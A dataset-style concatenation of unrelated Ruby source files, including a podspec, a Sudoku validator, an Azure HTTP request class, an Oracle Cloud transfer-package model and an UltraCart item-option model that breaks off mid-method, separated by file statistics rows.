end.to yield_control
end
end
end
| 28.20202 | 104 | 0.688395 |
2641d7cfc0c83870653446298e2e9c22d1ac31b9 | 528 | Pod::Spec.new do |s|
s.name = "iOSDetector"
s.version = "0.1.3"
s.summary = "Tiny Utility for iOS."
s.homepage = "https://github.com/azu/iOSDetector"
s.license = 'MIT'
s.author = { "azu" => "[email protected]" }
s.source = { :git => "https://github.com/azu/iOSDetector.git", :tag => s.version.to_s }
s.social_media_url = 'https://twitter.com/azu_re'
s.platform = :ios, '5.0'
s.requires_arc = true
s.source_files = 'Classes/**/*'
end
| 33 | 99 | 0.541667 |
ac987a50f19cfef15541b520ed14961efc7b131b | 287 | require_relative "recurse_try/version"
require_relative "recurse_try/plugin_methods"
require_relative "recurse_try/method_class"
require_relative "recurse_try/version"
module RecurseTry
def self.included(klass)
klass.include PluginMethods
klass.extend PluginMethods
end
end
| 23.916667 | 45 | 0.832753 |
91402042448e172012a5393bb1f1b5038dc45d58 | 246 | class CreateProjectmanagerRelationships < ActiveRecord::Migration[5.1]
def change
create_table :projectmanager_relationships do |t|
# 项目用户管理多对多
t.integer :user_id
t.integer :project_id
t.timestamps
end
end
end
| 22.363636 | 70 | 0.711382 |
1c93713cd53235a90d18a8e1349a5cc6ea642d8c | 960 | require 'gtt_5t_api_client/time_table/dom_table'
module Gtt5tApiClient
class TimeTable
PATH = '/5t/trasporto/arrival-times-byline.jsp'
def initialize(stop_id, datetime)
@stop_id = stop_id
@datetime = datetime
@base_url = "#{SCHEME}://#{BASE_DOMAINE}#{PATH}"
end
def times
@times ||= dom_table.times
end
def stop_name
@stop_name ||= dom.css('span').first.text
end
private
def dom
@dom ||= Nokogiri::HTML(response)
end
def dom_table
@dom_table ||= DOMTable.new(dom.css('table'))
end
def response
@response ||= Net::HTTP.get(URI(time_table_uri))
end
def time_table_uri
@time_table_uri ||= "#{@base_url}?action=getTransitsByLine&shortName=#{@stop_id}&oreMinuti=#{query_time}&gma=#{query_date}"
end
def query_time
@datetime.strftime('%H:%M')
end
def query_date
@datetime.strftime('%d/%m/%Y')
end
end
end
| 20 | 129 | 0.623958 |
4a8c0f31ebc7c80ad08238947ab362e33fcc570e | 1,973 | require 'matrix'
class Sudoku
def initialize(grid)
@grid = grid
end
def is_valid
Board.new(@grid).solved?
rescue ArgumentError
false
end
class Board
attr_reader :grid, :block_size
def initialize(grid)
assert_dimensions(grid)
@grid = grid
@valid_chunk = (1..grid.size).to_a.freeze
@block_size = Math.sqrt(grid.size).to_i.freeze
end
def solved?
rows = grid
columns = grid.transpose
blocks = build_blocks(grid)
(rows + columns + blocks).all? { |chunk| valid_chunk?(chunk) }
end
private
def assert_dimensions(grid)
if !square?(grid)
raise ArgumentError, "Cannot handle grid argument: '#{grid.inspect}'"
end
end
def square?(grid)
return false if grid.nil?
size = grid.size
grid.all? { |row| row.size == size }
end
def build_blocks(grid)
matrix = Matrix.rows(grid)
num_blocks = grid.size
blocks = []
(0...num_blocks).step(block_size).each do |start_row|
(0...num_blocks).step(block_size).each do |start_col|
num_rows = num_cols = block_size
blocks << matrix.minor(start_row, num_rows, start_col, num_cols).to_a.flatten
end
end
blocks
end
def build_blocks_without_matrix(grid)
num_blocks = grid.size
blocks_per_row = blocks_per_col = grid.size / block_size
blocks = (0...num_blocks).map do |block_index|
block = []
row_offset = (block_index / blocks_per_row) * block_size
col_offset = (block_index % blocks_per_col) * block_size
(0...block_size).each do |row_index|
(0...block_size).each do |col_index|
row = row_index+row_offset
col = col_index+col_offset
block << grid[row][col]
end
end
block
end
blocks
end
def valid_chunk?(chunk)
@valid_chunk == chunk.sort
end
end
end
| 21.922222 | 87 | 0.601115 |
1dc25f47c11b95fce6417c22213ca3d53926eff8 | 7,229 | #-------------------------------------------------------------------------
# # Copyright (c) Microsoft and contributors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#--------------------------------------------------------------------------
require 'digest/md5'
require 'base64'
require 'net/http'
require 'time'
require 'tempfile'
require 'azure/core/version'
require 'azure/core/http/http_response'
require 'azure/core/http/retry_policy'
require 'azure/core/default'
require 'azure/http_response_helper'
module Azure
module Core
module Http
# Represents a HTTP request can perform synchronous queries to a
# HTTP server, returning a HttpResponse
class HttpRequest
include Azure::HttpResponseHelper
alias_method :_method, :method
# The HTTP method to use (:get, :post, :put, :delete, etc...)
attr_accessor :method
# The URI of the HTTP endpoint to query
attr_accessor :uri
# The header values as a Hash
attr_accessor :headers
# The body of the request (IO or String)
attr_accessor :body
# Azure client which contains configuration context and http agents
# @return [Azure::Client]
attr_accessor :client
# The http filter
attr_accessor :has_retry_filter
# Public: Create the HttpRequest
#
# @param method [Symbol] The HTTP method to use (:get, :post, :put, :del, etc...)
# @param uri [URI] The URI of the HTTP endpoint to query
# @param options_or_body [Hash|IO|String] The request options including {:client, :body} or raw body only
def initialize(method, uri, options_or_body = {})
options ||= unless options_or_body.is_a?(Hash)
{body: options_or_body}
end || options_or_body || {}
@method = method
@uri = if uri.is_a?(String)
URI.parse(uri)
else
uri
end
@client = options[:client] || Azure
self.headers = default_headers(options[:current_time] || Time.now.httpdate).merge(options[:headers] || {})
self.body = options[:body]
end
# Public: Applies a HttpFilter to the HTTP Pipeline
#
# filter - Any object that responds to .call(req, _next) and
# returns a HttpResponse eg. HttpFilter, Proc,
# lambda, etc. (optional)
#
# options - The options that are used when call Azure::Core::FilteredService.call.
# It can be used by retry policies to determine changes in the retry.
#
# &block - An inline block may be used instead of a filter
#
# example:
#
# request.with_filter do |req, _next|
# _next.call
# end
#
# NOTE:
#
# The code block provided must call _next or the filter pipeline
# will not complete and the HTTP request will never execute
#
def with_filter(filter=nil, options={}, &block)
filter = filter || block
if filter
is_retry_policy = filter.is_a?(Azure::Core::Http::RetryPolicy)
filter.retry_data[:request_options] = options if is_retry_policy
@has_retry_filter ||= is_retry_policy
original_call = self._method(:call)
# support 1.8.7 (define_singleton_method doesn't exist until 1.9.1)
filter_call = Proc.new do
filter.call(self, original_call)
end
k = class << self;
self;
end
if k.method_defined? :define_singleton_method
self.define_singleton_method(:call, filter_call)
else
k.send(:define_method, :call, filter_call)
end
end
end
# Build a default headers Hash
def default_headers(current_time)
{}.tap do |def_headers|
def_headers['User-Agent'] = Azure::Core::Default::USER_AGENT
def_headers['x-ms-date'] = current_time
def_headers['x-ms-version'] = '2014-02-14'
def_headers['DataServiceVersion'] = '1.0;NetFx'
def_headers['MaxDataServiceVersion'] = '3.0;NetFx'
def_headers['Content-Type'] = 'application/atom+xml; charset=utf-8'
end
end
def http_setup
@client.agents(uri)
end
def body=(body)
@body = body
apply_body_headers
end
# Sends request to HTTP server and returns a HttpResponse
#
# @return [HttpResponse]
def call
conn = http_setup
res = set_up_response(method.to_sym, uri, conn, headers ,body)
response = HttpResponse.new(res)
response.uri = uri
raise response.error if !response.success? && !@has_retry_filter
response
end
private
def apply_body_headers
return headers['Content-Length'] = '0' unless body
return apply_io_headers if IO === body || Tempfile === body
return apply_string_io_headers if StringIO === body
return apply_miscellaneous_headers
end
def apply_io_headers
headers['Content-Length'] = body.size.to_s if body.respond_to?('size')
if headers['Content-Length'].nil?
raise ArgumentError, '\'Content-Length\' must be defined if size cannot be obtained from body IO.'
end
headers['Content-MD5'] = Digest::MD5.file(body.path).base64digest unless headers['Content-MD5']
end
def apply_string_io_headers
headers['Content-Length'] = body.size.to_s
unless headers['Content-MD5']
headers['Content-MD5'] = Digest::MD5.new.tap do |checksum|
while chunk = body.read(5242880)
checksum << chunk
end
body.rewind
end.base64digest
end
end
def apply_miscellaneous_headers
headers['Content-Length'] = body.size.to_s
headers['Content-MD5'] = Base64.strict_encode64(Digest::MD5.digest(body.to_s)) unless headers['Content-MD5']
end
end
end
end
end
| 36.882653 | 119 | 0.553742 |
916546bc0a209ace5f75cf38e3b9744de0d1c0f8 | 1,031 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
Bundler.require(*Rails.groups)
require "grape_on_rails_routes"
module Dummy
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
end
end
| 38.185185 | 99 | 0.734239 |
28974849a7f7eb11a95b4ac1a3b519eb031c6f06 | 338 | class Entry
def initialize( entry_id, author, date, title, html )
@entry_id = entry_id
@author = author
@date = date
@title = title
@html = html
end
def entry_id
return @entry_id
end
def author
return @author
end
def title
return @title
end
def date
return @date
end
def html
return @html
end
end | 10.903226 | 55 | 0.662722 |
ff080721476cf55c92137c8cf550db2da7a075a4 | 1,756 | module ActiveScaffold
module Bridges
class FileColumn
module FileColumnHelpers
class << self
def file_column_fields(klass)
klass.instance_methods.select { |m| m.to_s =~ /_just_uploaded\?$/ }.collect { |m| m[0..-16].to_sym }
end
def generate_delete_helpers(klass)
file_column_fields(klass).each do |field|
klass.send :class_eval, <<-CODE, __FILE__, __LINE__ + 1 unless klass.method_defined?(:"#{field}_with_delete=")
attr_reader :delete_#{field}
def delete_#{field}=(value)
value = (value=="true") if String===value
return unless value
# passing nil to the file column causes the file to be deleted. Don't delete if we just uploaded a file!
self.#{field} = nil unless self.#{field}_just_uploaded?
end
CODE
end
end
def klass_has_file_column_fields?(klass)
true unless file_column_fields(klass).empty?
end
end
def file_column_fields
@file_column_fields ||= FileColumnHelpers.file_column_fields(self)
end
def options_for_file_column_field(field)
allocate.send("#{field}_options")
end
def field_has_image_version?(field, version = 'thumb')
options = options_for_file_column_field(field)
versions = options[:magick][:versions]
raise unless versions.stringify_keys[version]
true
rescue StandardError
false
end
def generate_delete_helpers
FileColumnHelpers.generate_delete_helpers(self)
end
end
end
end
end
| 31.927273 | 124 | 0.590547 |
331c082525410b804f0d6b6324e489dd453d5723 | 1,144 | class FakeColor
def initialize(text); @text = text; end
%w{ red green yellow blue underline }.each do |m|
define_method(m){ @text }
end
end
class VanillaText
class << self
def apply
String.class_eval do
def colored
FakeColor.new self
end
def unindent
gsub(/^#{scan(/^\s*/).min_by{|l|l.length}}/, "")
end
end
%w{ status success problem sorry important underline }.each do |m|
String.class_eval do
define_method(m){ self }
end
end
end
end
end
class ColoredText
class << self
def apply
String.class_eval do
require 'smart_colored'
def unindent
gsub(/^#{scan(/^\s*/).min_by{|l|l.length}}/, "")
end
def status
self.colored.yellow
end
def success
self.colored.green.bold
end
def problem
self.colored.yellow_on_red_bold
end
def sorry
self.colored.red.bold
end
def important
self.colored.magenta
end
end
end
end
end
| 17.875 | 72 | 0.532343 |
e8bd95b707635742863ac5e8ffb436e4ea57fdbd | 13,271 | # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
require 'date'
require 'logger'
# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# TransferPackage model.
class Dts::Models::TransferPackage
LIFECYCLE_STATE_ENUM = [
LIFECYCLE_STATE_PREPARING = 'PREPARING'.freeze,
LIFECYCLE_STATE_SHIPPING = 'SHIPPING'.freeze,
LIFECYCLE_STATE_RECEIVED = 'RECEIVED'.freeze,
LIFECYCLE_STATE_PROCESSING = 'PROCESSING'.freeze,
LIFECYCLE_STATE_PROCESSED = 'PROCESSED'.freeze,
LIFECYCLE_STATE_RETURNED = 'RETURNED'.freeze,
LIFECYCLE_STATE_DELETED = 'DELETED'.freeze,
LIFECYCLE_STATE_CANCELLED = 'CANCELLED'.freeze,
LIFECYCLE_STATE_CANCELLED_RETURNED = 'CANCELLED_RETURNED'.freeze,
LIFECYCLE_STATE_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze
].freeze
# This attribute is required.
# @return [String]
attr_accessor :label
# @return [String]
attr_reader :lifecycle_state
# @return [String]
attr_accessor :transfer_job_id
# @return [DateTime]
attr_accessor :creation_time
# @return [String]
attr_accessor :original_package_delivery_tracking_number
# @return [String]
attr_accessor :return_package_delivery_tracking_number
# @return [String]
attr_accessor :package_delivery_vendor
# @return [String]
attr_accessor :transfer_site_shipping_address
# Transfer Devices attached to this Transfer Package
# @return [Array<String>]
attr_accessor :attached_transfer_device_labels
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
# rubocop:disable Style/SymbolLiteral
'label': :'label',
'lifecycle_state': :'lifecycleState',
'transfer_job_id': :'transferJobId',
'creation_time': :'creationTime',
'original_package_delivery_tracking_number': :'originalPackageDeliveryTrackingNumber',
'return_package_delivery_tracking_number': :'returnPackageDeliveryTrackingNumber',
'package_delivery_vendor': :'packageDeliveryVendor',
'transfer_site_shipping_address': :'transferSiteShippingAddress',
'attached_transfer_device_labels': :'attachedTransferDeviceLabels'
# rubocop:enable Style/SymbolLiteral
}
end
# Attribute type mapping.
def self.swagger_types
{
# rubocop:disable Style/SymbolLiteral
'label': :'String',
'lifecycle_state': :'String',
'transfer_job_id': :'String',
'creation_time': :'DateTime',
'original_package_delivery_tracking_number': :'String',
'return_package_delivery_tracking_number': :'String',
'package_delivery_vendor': :'String',
'transfer_site_shipping_address': :'String',
'attached_transfer_device_labels': :'Array<String>'
# rubocop:enable Style/SymbolLiteral
}
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
# @option attributes [String] :label The value to assign to the {#label} property
# @option attributes [String] :lifecycle_state The value to assign to the {#lifecycle_state} property
# @option attributes [String] :transfer_job_id The value to assign to the {#transfer_job_id} property
# @option attributes [DateTime] :creation_time The value to assign to the {#creation_time} property
# @option attributes [String] :original_package_delivery_tracking_number The value to assign to the {#original_package_delivery_tracking_number} property
# @option attributes [String] :return_package_delivery_tracking_number The value to assign to the {#return_package_delivery_tracking_number} property
# @option attributes [String] :package_delivery_vendor The value to assign to the {#package_delivery_vendor} property
# @option attributes [String] :transfer_site_shipping_address The value to assign to the {#transfer_site_shipping_address} property
# @option attributes [Array<String>] :attached_transfer_device_labels The value to assign to the {#attached_transfer_device_labels} property
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
self.label = attributes[:'label'] if attributes[:'label']
self.lifecycle_state = attributes[:'lifecycleState'] if attributes[:'lifecycleState']
raise 'You cannot provide both :lifecycleState and :lifecycle_state' if attributes.key?(:'lifecycleState') && attributes.key?(:'lifecycle_state')
self.lifecycle_state = attributes[:'lifecycle_state'] if attributes[:'lifecycle_state']
self.transfer_job_id = attributes[:'transferJobId'] if attributes[:'transferJobId']
raise 'You cannot provide both :transferJobId and :transfer_job_id' if attributes.key?(:'transferJobId') && attributes.key?(:'transfer_job_id')
self.transfer_job_id = attributes[:'transfer_job_id'] if attributes[:'transfer_job_id']
self.creation_time = attributes[:'creationTime'] if attributes[:'creationTime']
raise 'You cannot provide both :creationTime and :creation_time' if attributes.key?(:'creationTime') && attributes.key?(:'creation_time')
self.creation_time = attributes[:'creation_time'] if attributes[:'creation_time']
self.original_package_delivery_tracking_number = attributes[:'originalPackageDeliveryTrackingNumber'] if attributes[:'originalPackageDeliveryTrackingNumber']
raise 'You cannot provide both :originalPackageDeliveryTrackingNumber and :original_package_delivery_tracking_number' if attributes.key?(:'originalPackageDeliveryTrackingNumber') && attributes.key?(:'original_package_delivery_tracking_number')
self.original_package_delivery_tracking_number = attributes[:'original_package_delivery_tracking_number'] if attributes[:'original_package_delivery_tracking_number']
self.return_package_delivery_tracking_number = attributes[:'returnPackageDeliveryTrackingNumber'] if attributes[:'returnPackageDeliveryTrackingNumber']
raise 'You cannot provide both :returnPackageDeliveryTrackingNumber and :return_package_delivery_tracking_number' if attributes.key?(:'returnPackageDeliveryTrackingNumber') && attributes.key?(:'return_package_delivery_tracking_number')
self.return_package_delivery_tracking_number = attributes[:'return_package_delivery_tracking_number'] if attributes[:'return_package_delivery_tracking_number']
self.package_delivery_vendor = attributes[:'packageDeliveryVendor'] if attributes[:'packageDeliveryVendor']
raise 'You cannot provide both :packageDeliveryVendor and :package_delivery_vendor' if attributes.key?(:'packageDeliveryVendor') && attributes.key?(:'package_delivery_vendor')
self.package_delivery_vendor = attributes[:'package_delivery_vendor'] if attributes[:'package_delivery_vendor']
self.transfer_site_shipping_address = attributes[:'transferSiteShippingAddress'] if attributes[:'transferSiteShippingAddress']
raise 'You cannot provide both :transferSiteShippingAddress and :transfer_site_shipping_address' if attributes.key?(:'transferSiteShippingAddress') && attributes.key?(:'transfer_site_shipping_address')
self.transfer_site_shipping_address = attributes[:'transfer_site_shipping_address'] if attributes[:'transfer_site_shipping_address']
self.attached_transfer_device_labels = attributes[:'attachedTransferDeviceLabels'] if attributes[:'attachedTransferDeviceLabels']
raise 'You cannot provide both :attachedTransferDeviceLabels and :attached_transfer_device_labels' if attributes.key?(:'attachedTransferDeviceLabels') && attributes.key?(:'attached_transfer_device_labels')
self.attached_transfer_device_labels = attributes[:'attached_transfer_device_labels'] if attributes[:'attached_transfer_device_labels']
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Custom attribute writer method checking allowed values (enum).
# @param [Object] lifecycle_state Object to be assigned
def lifecycle_state=(lifecycle_state)
# rubocop:disable Style/ConditionalAssignment
if lifecycle_state && !LIFECYCLE_STATE_ENUM.include?(lifecycle_state)
OCI.logger.debug("Unknown value for 'lifecycle_state' [" + lifecycle_state + "]. Mapping to 'LIFECYCLE_STATE_UNKNOWN_ENUM_VALUE'") if OCI.logger
@lifecycle_state = LIFECYCLE_STATE_UNKNOWN_ENUM_VALUE
else
@lifecycle_state = lifecycle_state
end
# rubocop:enable Style/ConditionalAssignment
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# Checks equality by comparing each attribute.
# @param [Object] other the other object to be compared
def ==(other)
return true if equal?(other)
self.class == other.class &&
label == other.label &&
lifecycle_state == other.lifecycle_state &&
transfer_job_id == other.transfer_job_id &&
creation_time == other.creation_time &&
original_package_delivery_tracking_number == other.original_package_delivery_tracking_number &&
return_package_delivery_tracking_number == other.return_package_delivery_tracking_number &&
package_delivery_vendor == other.package_delivery_vendor &&
transfer_site_shipping_address == other.transfer_site_shipping_address &&
attached_transfer_device_labels == other.attached_transfer_device_labels
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# @see the `==` method
# @param [Object] other the other object to be compared
def eql?(other)
self == other
end
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[label, lifecycle_state, transfer_job_id, creation_time, original_package_delivery_tracking_number, return_package_delivery_tracking_number, package_delivery_vendor, transfer_site_shipping_address, attached_transfer_device_labels].hash
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
public_method("#{key}=").call(
attributes[self.class.attribute_map[key]]
.map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }
)
end
elsif !attributes[self.class.attribute_map[key]].nil?
public_method("#{key}=").call(
OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])
)
end
# or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = public_method(attr).call
next if value.nil? && !instance_variable_defined?("@#{attr}")
hash[param] = _to_hash(value)
end
hash
end
private
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 46.893993 | 249 | 0.735363 |
fff01731e55b1a98dbc4366653ac3a42cbf61381 | 12,312 | =begin
#UltraCart Rest API V2
#UltraCart REST API Version 2
OpenAPI spec version: 2.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.15-SNAPSHOT
=end
require 'date'
module UltracartClient
class ItemOptionValue
# Additional dimensions application
attr_accessor :additional_dimension_application
# Additional items to add to the order if this value is selected
attr_accessor :additional_items
# Cost change
attr_accessor :cost_change
# True if default value
attr_accessor :default_value
# Digital items to allow the customer to download if this option value is selected
attr_accessor :digital_items
attr_accessor :height
attr_accessor :length
# Multimedia object identifier associated with this option value
attr_accessor :merchant_item_multimedia_oid
# Option value object identifier
attr_accessor :option_value_oid
# Percentage cost change
attr_accessor :percent_cost_change
# Translated text instance id
attr_accessor :translated_text_instance_oid
# Value
attr_accessor :value
attr_accessor :weight_change
# Percentage weight change
attr_accessor :weight_change_percent
attr_accessor :width
class EnumAttributeValidator
attr_reader :datatype
attr_reader :allowable_values
def initialize(datatype, allowable_values)
@allowable_values = allowable_values.map do |value|
case datatype.to_s
when /Integer/i
value.to_i
when /Float/i
value.to_f
else
value
end
end
end
def valid?(value)
!value || allowable_values.include?(value)
end
end
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'additional_dimension_application' => :'additional_dimension_application',
:'additional_items' => :'additional_items',
:'cost_change' => :'cost_change',
:'default_value' => :'default_value',
:'digital_items' => :'digital_items',
:'height' => :'height',
:'length' => :'length',
:'merchant_item_multimedia_oid' => :'merchant_item_multimedia_oid',
:'option_value_oid' => :'option_value_oid',
:'percent_cost_change' => :'percent_cost_change',
:'translated_text_instance_oid' => :'translated_text_instance_oid',
:'value' => :'value',
:'weight_change' => :'weight_change',
:'weight_change_percent' => :'weight_change_percent',
:'width' => :'width'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'additional_dimension_application' => :'String',
:'additional_items' => :'Array<ItemOptionValueAdditionalItem>',
:'cost_change' => :'Float',
:'default_value' => :'BOOLEAN',
:'digital_items' => :'Array<ItemOptionValueDigitalItem>',
:'height' => :'Distance',
:'length' => :'Distance',
:'merchant_item_multimedia_oid' => :'Integer',
:'option_value_oid' => :'Integer',
:'percent_cost_change' => :'Float',
:'translated_text_instance_oid' => :'Integer',
:'value' => :'String',
:'weight_change' => :'Weight',
:'weight_change_percent' => :'Float',
:'width' => :'Distance'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'additional_dimension_application')
self.additional_dimension_application = attributes[:'additional_dimension_application']
end
if attributes.has_key?(:'additional_items')
if (value = attributes[:'additional_items']).is_a?(Array)
self.additional_items = value
end
end
if attributes.has_key?(:'cost_change')
self.cost_change = attributes[:'cost_change']
end
if attributes.has_key?(:'default_value')
self.default_value = attributes[:'default_value']
end
if attributes.has_key?(:'digital_items')
if (value = attributes[:'digital_items']).is_a?(Array)
self.digital_items = value
end
end
if attributes.has_key?(:'height')
self.height = attributes[:'height']
end
if attributes.has_key?(:'length')
self.length = attributes[:'length']
end
if attributes.has_key?(:'merchant_item_multimedia_oid')
self.merchant_item_multimedia_oid = attributes[:'merchant_item_multimedia_oid']
end
if attributes.has_key?(:'option_value_oid')
self.option_value_oid = attributes[:'option_value_oid']
end
if attributes.has_key?(:'percent_cost_change')
self.percent_cost_change = attributes[:'percent_cost_change']
end
if attributes.has_key?(:'translated_text_instance_oid')
self.translated_text_instance_oid = attributes[:'translated_text_instance_oid']
end
if attributes.has_key?(:'value')
self.value = attributes[:'value']
end
if attributes.has_key?(:'weight_change')
self.weight_change = attributes[:'weight_change']
end
if attributes.has_key?(:'weight_change_percent')
self.weight_change_percent = attributes[:'weight_change_percent']
end
if attributes.has_key?(:'width')
self.width = attributes[:'width']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if [email protected]? && @value.to_s.length > 1024
invalid_properties.push('invalid value for "value", the character length must be smaller than or equal to 1024.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
additional_dimension_application_validator = EnumAttributeValidator.new('String', ['none', 'set item to', 'add item'])
return false unless additional_dimension_application_validator.valid?(@additional_dimension_application)
return false if [email protected]? && @value.to_s.length > 1024
true
end
# Custom attribute writer method checking allowed values (enum).
# @param [Object] additional_dimension_application Object to be assigned
def additional_dimension_application=(additional_dimension_application)
validator = EnumAttributeValidator.new('String', ['none', 'set item to', 'add item'])
unless validator.valid?(additional_dimension_application)
fail ArgumentError, 'invalid value for "additional_dimension_application", must be one of #{validator.allowable_values}.'
end
@additional_dimension_application = additional_dimension_application
end
# Custom attribute writer method with validation
# @param [Object] value Value to be assigned
def value=(value)
if !value.nil? && value.to_s.length > 1024
fail ArgumentError, 'invalid value for "value", the character length must be smaller than or equal to 1024.'
end
@value = value
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
additional_dimension_application == o.additional_dimension_application &&
additional_items == o.additional_items &&
cost_change == o.cost_change &&
default_value == o.default_value &&
digital_items == o.digital_items &&
height == o.height &&
length == o.length &&
merchant_item_multimedia_oid == o.merchant_item_multimedia_oid &&
option_value_oid == o.option_value_oid &&
percent_cost_change == o.percent_cost_change &&
translated_text_instance_oid == o.translated_text_instance_oid &&
value == o.value &&
weight_change == o.weight_change &&
weight_change_percent == o.weight_change_percent &&
width == o.width
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[additional_dimension_application, additional_items, cost_change, default_value, digital_items, height, length, merchant_item_multimedia_oid, option_value_oid, percent_cost_change, translated_text_instance_oid, value, weight_change, weight_change_percent, width].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = UltracartClient.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
